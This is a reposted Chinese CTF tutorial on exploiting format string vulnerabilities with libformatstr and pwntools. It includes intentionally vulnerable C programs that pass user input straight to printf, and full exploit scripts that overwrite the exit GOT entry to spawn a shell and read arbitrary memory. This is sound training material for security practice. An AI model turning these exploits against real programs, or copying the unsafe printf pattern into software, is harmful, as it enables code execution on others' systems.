CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

https 漏洞

2018年11月26日 756点热度 0人点赞 0条评论

https 漏洞
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
CTF中格式化字符串漏洞快速利用
阅读量 26978 | 评论 3

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-06-11 19:10:24

格式化字符串是CTF比赛中很常见的一种pwn题,但是往往需要自己手工调试,如果可以快速利用该漏洞拿到一血,这无疑可以很大的鼓舞选手的信心,并且有丰厚的分值奖励。那怎么快速利用格式化字符串漏洞呢,甚至对漏洞原理不甚了解怎么快速利用呢,本文将慢慢揭晓。

首先介绍利用该漏洞的工具:https://github.com/hellman/libformatstr,可以直接pip install libformatstr安装。格式化字符串漏洞的利用方式就是在任意地址写入任意数据,比如改写got表,下边分三种情况介绍:

直接输入所有输入信息
测试代码:

#include
#include
#include
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
printf(buf);
exit(0);
}
利用思路可以直接将exit函数的got表修改为函数win的地址,这样调用exit时,函数win得到执行,获得shell。编译:gcc -Wno-format-security print_format.c -o print_format

首先计算偏移跟填充,这里举个例子:

比如用户输入aaaBBBB.%x.%x.%x.%x.%x.%x,

输出:aaaBBBB.67.b7fc1c20.bffff734.bffff6d4.61616148.42424242

那么这里偏移是6,填充是3.

下边直接用libformatstr计算:

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
r.sendline(make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv() # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
这样直接计算出偏移是6,填充是3

知道了偏移 填充,以及win函数地址,exit got表地址,可以直接利用:

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_test')
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(6,3)
r.sendline(buf)
r.interactive()
说明: p.payload(6,3) 直接输入偏移,填充

p[exit_got] = win_addr 因为是直接将win函数地址写入exit函数的got表,所以可以直接这样写。

输出有预打印字符
测试代码:

#include
#include
#include
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
sprintf(out,"hello,%sn",buf);
printf(out);
exit(0);
}
可以看到这次代码跟上次的不同就是输出时先输出”hello,”,再输出用户输入的数据。编译:gcc -Wno-format-security print_format.c -o print_format

首先计算偏移填充:

from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

elf=ELF('./print_format')

exit_got=0x804a01c

win_addr=0x80484fd

bufsiz = 100

r = process('./print_format')

r.sendline(make_pattern(bufsiz)) # send cyclic pattern to

data = r.recv()[6:] # server's response

offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding

log.info("offset : " + str(offset))

log.info("padding: " + str(padding))

可以看到偏移填充是8 3

此处计算计算偏移填充时,因为会预输出”hello,”,所以代码中使用r.recv()[6:] 计算。

知道了偏移填充,就可以直接利用,注意此处的预输出数据的影响,所以此时payload是p.payload(8,3,start_len=6)

完整代码:

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x804852d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(8,3,start_len=6)
r.sendline(buf)
r.interactive()
输入数据有限制

程序对用户输入的数据有限制,只能输入特定格式的数据

测试代码:

#include
#include
#include
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
if (!memcmp(buf,"http://",7))
{
printf(buf);
}
else
{
printf("input error!n");
}
exit(0);
}
from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

elf=ELF('./print_format')

exit_got=0x804a01c

win_addr=0x80484fd

bufsiz = 100

r = process('./print_format')

r.sendline("http://"+make_pattern(bufsiz)) # send cyclic pattern to

data = r.recv()[7:] # server's response

offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding

log.info("offset : " + str(offset))

log.info("padding: " + str(padding))

可以看到用户输入的数据必须以http://开头,首先计算偏移填充:

可以看到偏移是7,填充是1,注意此时先输入http://,在输入随机字符,计算偏移填充,收到的数据也要从第七个字符开始计算:

r.sendline(“http://”+make_pattern(bufsiz)) # send cyclic pattern to

data = r.recv()[7:]

知道了偏移填充,就可以直接利用,注意此处要先输入http:// , payload从第七位开始算(buf = p.payload(7,1,start_len=7) r.sendline(“http://”+buf)

),完整利用代码如下:

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a024
win_addr=0x804855d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(7,1,start_len=7)
r.sendline("http://"+buf)
r.interactive()
最后介绍一下任意内存读取,当为第一种情况时,首先获取偏移 填充

然后:

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
fgets_got=0x0804a010
win_addr=0x804855d
offset=6
padding=3
 
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s" #calculate address of exit
r.sendline(buf)
temp=r.recv()[padding+4:padding+4*2]
print hex(u32(temp))
from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

#r = process('./print_format')

elf=ELF('./print_format')

exit_got=0x804a01c

fgets_got=0x0804a010

win_addr=0x804855d

offset=8

padding=3

pre_len=6 #预打印字符长度

 

bufsiz = 100

r = process('./print_format')

buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"

r.sendline(buf)

temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]

print hex(u32(temp))

当遇到第二种情况时:

可以看到只是recv处理数据时,要将预打印字符长度算进去。

当为第三种情况时:

from libformatstr import *

from pwn import *

from binascii import *

context.log_level = 'debug'

bufsiz = 100

#r = process('./print_format')

elf=ELF('./print_format')

exit_got=0x804a024

fgets_got=0x0804a010

win_addr=0x804855d

offset=7

padding=1

pre_len=7

bufsiz = 100

r = process('./print_format')

buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"

r.sendline("http://"+buf)

temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]

print temp

print hex(u32(temp))

可以看到输入输出都要将限制字符计算进去。

参考资料:

https://github.com/hellman/libformatstr

https://blog.techorganic.com/2015/07/01/simplifying-format-string-exploitation-with-libformatstr/

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/147666
安全客 - 有思想的安全新媒体
漏洞 CTF 字符

平安银河安全实验室 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02

U2F安全协议分析
2018-11-24 10:00:48

二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19

Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
|发表评论

发表你的评论吧
昵称
男科圣手
换一个
|评论列表
加载更多
平安银河安全实验室
这个人太懒了,签名都懒得写一个
文章
2
粉丝
0
TA的文章
MP4v2视频库漏洞分析
2018-08-07 16:30:05
CTF中格式化字符串漏洞快速利用
2018-06-11 19:10:24

输入关键字搜索内容
相关文章
2018安恒杯11月赛-Web&Crypto题解
2018年“柏鹭杯”大学生网络空间安全精英赛报名启动啦!快来参赛吧~
通过一道pwn题探究_IO_FILE结构攻击利用
对文件上传的一些思考和总结
2018湖湘杯复赛-WriteUp
session_start()&bestphp
CTF pwn 中最通俗易懂的堆入坑指南
热门推荐
文章目录
直接输入所有输入信息
输出有预打印字符
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

标签: 暂无
最后更新:2018年11月26日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me